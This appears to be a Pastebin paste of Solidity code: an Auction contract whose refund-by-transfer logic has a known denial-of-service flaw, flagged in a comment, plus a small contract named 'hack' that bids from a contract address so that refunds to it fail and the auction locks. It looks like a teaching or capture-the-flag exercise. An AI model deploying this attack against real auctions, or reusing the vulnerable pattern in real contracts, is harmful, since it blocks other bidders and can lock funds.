SHARE
TWEET

Untitled

a guest May 21st, 2019 68 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. pragma solidity ^0.5.8;
  2.  
  3. contract Auction {
  4.     address payable private highestBidder;
  5.     string highest_Bidder_name;
  6.     uint private highestBid;
  7.  
  8.     function bid(string memory name) public payable {
  9.         require(msg.value >= highestBid);
  10.  
  11.         if (highestBidder != address(0)) {
  12.             highestBidder.transfer(highestBid); // if this call consistently fails, no one else can bid
  13.             highest_Bidder_name = name;
  14.         }
  15.  
  16.        highestBidder = msg.sender;
  17.        highestBid = msg.value;
  18.     }
  19.    
  20.     function get_cur_winner() view external returns(address payable){
  21.         return highestBidder;
  22.     }
  23.    
  24.     function get_highest_bid() view external returns(uint){
  25.         return highestBid;
  26.     }
  27.    
  28.     function get_bidder_name() view external returns(string memory){
  29.         return highest_Bidder_name;
  30.     }
  31. }
  32.  
  33. contract hack{
  34.     Auction   auct;
  35.     constructor(address payable auct_addr)public{
  36.         auct = Auction(auct_addr);
  37.     }
  38.    
  39.     function d()view external returns(uint){
  40.         return auct.get_highest_bid();
  41.        
  42.     }
  43.     function b(uint p) payable  public{
  44.         auct.bid.value(p)("AA");
  45.     }
  46.    
  47. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top